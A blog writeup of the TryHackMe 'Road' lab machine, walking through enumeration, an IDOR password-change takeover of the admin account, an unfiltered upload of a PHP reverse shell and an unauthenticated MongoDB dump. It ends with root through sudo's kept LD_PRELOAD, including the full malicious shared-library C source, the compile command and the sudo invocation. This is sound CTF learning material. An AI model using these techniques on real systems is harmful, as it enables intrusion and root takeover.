Road Writeup (TryHackMe Medium Machine)

Inspired by a real-world pentesting engagement.


Overview

Road is a medium Linux machine from TryHackMe. This box was inspired by real-world pentest engagement and showcases couple common web app and Linux server vulnerabilities.

We start by discovering an admin dashboard on the website and creating an account. We find IDOR vulnerability in the password change feature, which allows us to change web admin’s password. Next, we abuse file upload functionality and upload PHP shell script, which yields us a foothold.

Once inside, we notice a MongoDB process running on the system. We dump the Mongo database and get a password for another user. This user has misconfigured sudo permissions, which persists the LD_PRELOAD variable, allowing us to inject malicious “.so” file and spawn a root shell.


Nmap scan

Starting with the Nmap scan.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -Pn -A 10.10.14.79 -T5
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-03 17:08 EDT
Nmap scan report for 10.10.14.79
Host is up (0.055s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e6:dc:88:69:de:a1:73:8e:84:5b:a1:3e:27:9f:07:24 (RSA)
| 256 6b:ea:18:5d:8d:c7:9e:9a:01:2c:dd:50:c5:f8:c8:05 (ECDSA)
|_ 256 ef:06:d7:e4:b1:65:15:6e:94:62:cc:dd:f0:8a:1a:24 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Sky Couriers
Device type: general purpose
Running: Linux 4.X
OS CPE: cpe:/o:linux:linux_kernel:4.15
OS details: Linux 4.15
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 995/tcp)
HOP RTT ADDRESS
1 88.75 ms 10.9.0.1
2 88.81 ms 10.10.14.79

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.66 seconds

The Nmap scan showed 2 open ports. Port 22 for SSH and port 80 for Apache HTTP website. As usual, we will try to find a vulnerability in the web app to get initial foothold on the machine.


Web enumeration

I visited the website and looked around a bit. The “Sky Couriers” provide solutions for web apps.

I ran Gobuster to perform directory fuzzing. It found couple interesting pages like “phpMyAdmin”.

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u "http://10.10.14.79" -w /usr/share/wordlists/dirb/common.txt -t 64 -r -x html
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.14.79
[+] Method: GET
[+] Threads: 64
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: html
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html (Status: 403) [Size: 276]
/.hta (Status: 403) [Size: 276]
/assets (Status: 200) [Size: 1504]
/.htaccess (Status: 403) [Size: 276]
/.htpasswd (Status: 403) [Size: 276]
/career.html (Status: 200) [Size: 9289]
/index.html (Status: 200) [Size: 19607]
/server-status (Status: 403) [Size: 276]
/phpMyAdmin (Status: 200) [Size: 19290]
/v2 (Status: 200) [Size: 2619]
Progress: 9228 / 9230 (99.98%)

The “phpMyAdmin” is a popular web-based interface for managing MySQL or MariaDB databases. It allows database administration tasks such as running SQL queries, managing databases, and modifying tables, all through a web interface. (ChatGPT)

Such page shouldn’t be exposed to the internet. There are several risks associated with exposed phpMyAdmin, like unauthorized MySQL database access, sensitive data exposure etc.


The “/v2” page was another interesting finding. Upon visiting, I got redirected to a login form.

Pages like “/v2” typically indicate versioned API routes, which may have exposed endpoints, giving us more potential attack vectors. We also get a chance to sign in or register.

At first, I tried couple weak default credentials (admin:admin, root:root), but got no luck. Next, I created a new account with the register feature and, surprisingly, logged in into the dashboard.

From this dashboard, I could manage orders, see reports etc. Most of the links were dead, though.


IDOR & changing admin’s password

I looked through my account’s settings. Beside typical options, there was a profile image upload functionality, to which only admins had access to, as stated in the message below. There was also a potential admin username for us “admin@sky.thm” mentioned.

seemingly innocent comment, containing potential admin username


Next, I clicked through the links and arrived on password reset page.

I tried to change my password and intercepted the request in Burp Suite. The was “uname” form, storing the username. What if I could change someone else’s password by simply providing someone else’s username into the form, I thought.

I entered the admin username we discovered earlier and sent the request. The “Password changed.” message in the response indicated that the change was successful, meaning that we found an IDOR.

modifying “uname” form, resulting in IDOR

I logged in as “admin@sky.thm” with newly changed password.


Uploading PHP shell & getting user flag

Now, because I am logged in with the admin account, I have access to the profile picture upload feature. Since this is Apache web server, I wonder if PHP scripts can get uploaded and executed.

To test backend security checks, I went to “revshells.com” and grabbed PHP shell script.

I saved the PHP shell to “shell.php” file. Then, I tried to upload it and intercepted the request. To my surprise, there were no security checks in the backend code and the file went right through.

missing security checks let my PHP shell script through

Great, this made our lives a lot easier now, or so I thought. Next, I set up a Netcat listener and uploaded the shell script again. Unfortunately, I wasn’t so lucky this time, because the listener got no connection from the server, meaning that the PHP shell didn’t get executed for some reason.

That was strange. To be honest, I stagnated at this part for quite some time. I tried bunch of different shell scripts, tried numerous bypass techniques (ChatGPT helped), but got no results. If you ever get stuck in a CTF challenge like I did, taking a step back is a good advice. Look at other things, perform more enumeration, just to be sure that you haven’t missed anything. I had to do just that, I took a break, leaned backwards and relaxed.


I made sure that I’ve checked every functionality that the website had to offer. But the secret laid in the page source code. Looking at the source code of “/v2/profile.php” page, I found this one comment. It contained a path we haven’t discovered yet (”/v2/profileimages”).

finding secret path in a comment in the page source code

Upon visiting the page, we find out that the directory listing was disabled.

Using common sense, we can assume that this directory stores all of our uploaded files. So I went further and visited “/profileimages/shell.php” (my PHP shell script).

The page was left hanging, because the script got executed and my listener received a connection.

┌──(kali㉿kali)-[~]
└─$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.9.1.190] from (UNKNOWN) [10.10.26.193] 44338
SOCKET: Shell has connected! PID: 1217
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
pwd
/var/www/html/v2/profileimages

Finally, we got the initial foothold as user “www-data”. The user flag was sitting patiently in the home directory of user “webdeveloper”.

www-data@sky:/home$ ls
ls
webdeveloper
www-data@sky:/home$ cd webdeveloper
cd webdeveloper
www-data@sky:/home/webdeveloper$ ls -la
ls -la
total 36
drwxr-xr-x 4 webdeveloper webdeveloper 4096 Oct 8 2021 .
drwxr-xr-x 3 root root 4096 May 25 2021 ..
lrwxrwxrwx 1 webdeveloper webdeveloper 9 May 25 2021 .bash_history -> /dev/null
-rw-r--r-- 1 webdeveloper webdeveloper 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 webdeveloper webdeveloper 3771 Feb 25 2020 .bashrc
drwx------ 2 webdeveloper webdeveloper 4096 May 25 2021 .cache
drwxrwxr-x 3 webdeveloper webdeveloper 4096 May 25 2021 .local
-rw------- 1 webdeveloper webdeveloper 51 Oct 8 2021 .mysql_history
-rw-r--r-- 1 webdeveloper webdeveloper 807 Feb 25 2020 .profile
-rw-r--r-- 1 webdeveloper webdeveloper 0 Oct 7 2021 .sudo_as_admin_successful
-rw-r--r-- 1 webdeveloper webdeveloper 33 May 25 2021 user.txt


Dumping MongoDB database & finding password for “webdeveloper” user

Firstly, I went down the classic priv esc checklist. I checked my user’s sudo permissions, SUID binaries, looked at web config files etc. But none of it yielded any interesting information.

Feeling that I was missing something once again, I transferred some automated enumeration tools onto the machine via my Python server. Beside Linpeas, I also used tool called Pspy. Pspy is a script that monitors all the processes and commands that run on the machine.

www-data@sky:/$ cd /dev/shm
cd /dev/shm
www-data@sky:/dev/shm$ wget http://10.9.1.190:9000/pspy64
wget http://10.9.1.190:9000/pspy64
--2025-07-06 07:32:32-- http://10.9.1.190:9000/pspy64
Connecting to 10.9.1.190:9000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: ‘pspy64’

pspy64 100%[===================>] 2.96M 471KB/s in 6.3s

2025-07-06 07:32:38 (480 KB/s) - ‘pspy64’ saved [3104768/3104768]

www-data@sky:/dev/shm$ chmod +x pspy64
chmod +x pspy64
www-data@sky:/dev/shm$ ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done

I ran Pspy and waited for couple seconds. In between rather normal processes, there was a cronjob that ran MongoDB command, indicating that there’s a Mongo database present on the system.

Pspy found MongoDB cronjob


The best thing is that Mongo shell doesn’t require authentication. That means that we can simply run the “mongo” command and go through the databases right now.

www-data@sky:/$ mongo
MongoDB shell version v4.4.6
connecting to: mongodb://127.0.0.1:27017/?compressors=disabled&gssapiServiceName=mongodb
Implicit session: session { "id" : UUID("c4dc9ed0-c3a5-4944-a39a-6f0a9c6ab259") }
MongoDB server version: 4.4.6
Welcome to the MongoDB shell.
For interactive help, type "help".
For more comprehensive documentation, see
https://docs.mongodb.com/
Questions? Try the MongoDB Developer Community Forums
https://community.mongodb.com
---
The server generated these startup warnings when booting:
2025-07-06T07:27:12.315+00:00: Using the XFS filesystem is strongly recommended with the WiredTiger storage engine. See http://dochub.mongodb.org/core/prodnotes-filesystem
2025-07-06T07:27:16.022+00:00: Access control is not enabled for the database. Read and write access to data and configuration is unrestricted
---
---
Enable MongoDB's free cloud-based monitoring service, which will then receive and display
metrics about your deployment (disk utilization, CPU, operation statistics, etc).

The monitoring data will be available on a MongoDB website with a unique URL accessible to you
and anyone you share the URL with. MongoDB may use this information to make product
improvements and to suggest MongoDB products and deployment options to you.

To enable free monitoring, run the following command: db.enableFreeMonitoring()
To permanently disable this reminder, run the following command: db.disableFreeMonitoring()
---
> show dbs
admin 0.000GB
backup 0.000GB
config 0.000GB
local 0.000GB

There were 4 databases in the list, but the most interesting one for us was the “backup” database. Inside, right in the middle, we can find a cleartext password for the “webdeveloper” user.

> use backup
switched to db backup
> show collections
collection
user
> db.user.find().pretty()
{
"_id" : ObjectId("60ae2661203d21857b184a76"),
"Month" : "Feb",
"Profit" : "25000"
}
{
"_id" : ObjectId("60ae2677203d21857b184a77"),
"Month" : "March",
"Profit" : "5000"
}
{
"_id" : ObjectId("60ae2690203d21857b184a78"),
"Name" : "webdeveloper",
"Pass" : "[REDACTED]"
}
{
"_id" : ObjectId("60ae26bf203d21857b184a79"),
"Name" : "Rohit",
"EndDate" : "December"
}
{
"_id" : ObjectId("60ae26d2203d21857b184a7a"),
"Name" : "Rohit",
"Salary" : "30000"
}


Overwriting LD_PRELOAD env variable & getting root flag

I logged in via SSH and checked for common privilege escalation vectors. When I looked at my user’s sudo permissions, he could run the “sky_backup_utility” binary with root permissions.

webdeveloper@sky:~$ sudo -l
Matching Defaults entries for webdeveloper on sky:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, env_keep+=LD_PRELOAD

User webdeveloper may run the following commands on sky:
(ALL : ALL) NOPASSWD: /usr/bin/sky_backup_utility

What’s more interesting, is the “env_keep+=LD_PRELOAD” expression above it. If you use privilege escalation automated tools like Linpeas, it’ll highlight this for you in the output.

LD_PRELOAD is an environment variable used on Unix-like systems to tell the dynamic linker to load a shared library before any others. This allows overriding functions within system binaries or libraries. If you can set LD_PRELOAD, you can inject your own .so (shared object) library to override functions like geteuid, getuid, etc., making a program behave differently. (ChatGPT)

Normally, “sudo” sanitizes environment variables. But if “env_keep+=LD_PRELOAD” is set, the LD_PRELOAD variable persists and you can supply your own “.so” files.


Firstly, we have to create our malicious “.so” file. We can use this C script.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void _init ()
{
unsetenv("LD_PRELOAD"); //unsets LD_PRELOAD, prevents infinite loop
setuid(0);
setgid(0);
system("/bin/bash"); //spawns root shell
}

The script overwrites the “_init” function, which is part of ELF binaries and runs automatically when a library is loaded, which makes it a very clean technique to priv esc. Then we need to unset the LD_PRELOAD environment variable to prevent infinite loop, set user and group IDs to 0 (root) and run “/bin/bash” to spawn a root shell just like that.

Then, we compile the code with “gcc”. This is the optimal way to compile our “exploit.so” file:

┌──(kali㉿kali)-[~]
└─$ gcc -fPIC -shared -o exploit.so exploit.c -nostartfiles


Next, we simply start up a Python server and transfer “exploit.so” to the target machine.

webdeveloper@sky:/tmp$ wget http://10.9.1.190:9000/exploit.so
--2025-07-06 15:34:20-- http://10.9.1.190:9000/exploit.so
Connecting to 10.9.1.190:9000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 14152 (14K) [application/octet-stream]
Saving to: ‘exploit.so’

exploit.so 100%[====================================================================================================================================================================================================>] 13.82K --.-KB/s in 0.05s

2025-07-06 15:34:20 (253 KB/s) - ‘exploit.so’ saved [14152/14152]

webdeveloper@sky:/tmp$ ls -la exploit.so
-rw-rw-r-- 1 webdeveloper webdeveloper 14152 Jul 6 2025 exploit.so

After that, we run the “sky_backup_utility” binary, with sudo permissions, with LD_PRELOAD set to our malicious “exploit.so”, which yields us a root shell.

webdeveloper@sky:/tmp$ sudo LD_PRELOAD=/tmp/exploit.so /usr/bin/sky_backup_utility
root@sky:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
root@sky:/tmp# cd /root
root@sky:~# ls -la
total 36
drwx------ 6 root root 4096 Oct 8 2021 .
drwxr-xr-x 20 root root 4096 May 25 2021 ..
drwxr-xr-x 2 root root 4096 Aug 7 2021 .backup
lrwxrwxrwx 1 root root 9 May 25 2021 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc
drwx------ 2 root root 4096 Oct 8 2021 .cache
drwxr-xr-x 3 root root 4096 May 25 2021 .local
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile
-r-------- 1 root root 33 May 24 2021 root.txt
drwx------ 2 root root 4096 May 25 2021 .ssh

Root flag waits in “/root” directory. And that’s the end of Road.


Summary & final thoughts

Road is a medium machine from TryHackMe. This box showcases multiple vulnerabilities from numerous fields, such as IDORs in a web application and Linux sudo permissions misconfiguration. It presents an intermediate cybersecurity challenge for experienced folks. At the start, we discover a login panel. We create an account and get into the dashboard with low privileges. We find an IDOR vulnerability in the password change function, allowing us to change any user’s password, even admin’s. Once we log in as admin, we get access to profile picture upload function. Due to missing security checks, we are able to upload PHP shell script and run it. Once we get initial foothold, we use Pspy to find out that there’s MongoDB running. We dump the database and get a password for the “webdeveloper” user. This user has a misconfigured sudo permission, which keeps the LD_PRELOAD environment variable, allowing us to inject malicious shared library and spawn a root shell. In my opinion, this box is quite straightforward and is a nice practice in both web exploitation and system exploitation. You’ll get hands-on experience with IDOR vulnerability, Mongo database and misconfigured LD_PRELOAD variable. Even if you get stuck occasionally, you can look at writeups, learn and gain experience. Recommending to anyone to likes a bit more real-world CTF challenges, best suited for practice for intermediate hackers, but beginners can learn a lot too.

Comments

Popular posts from this blog

Hospital Writeup (HackTheBox Medium Machine)

Bucket Writeup (HackTheBox Medium Machine)

Mr Robot Writeup (Vulnhub Intermediate Machine)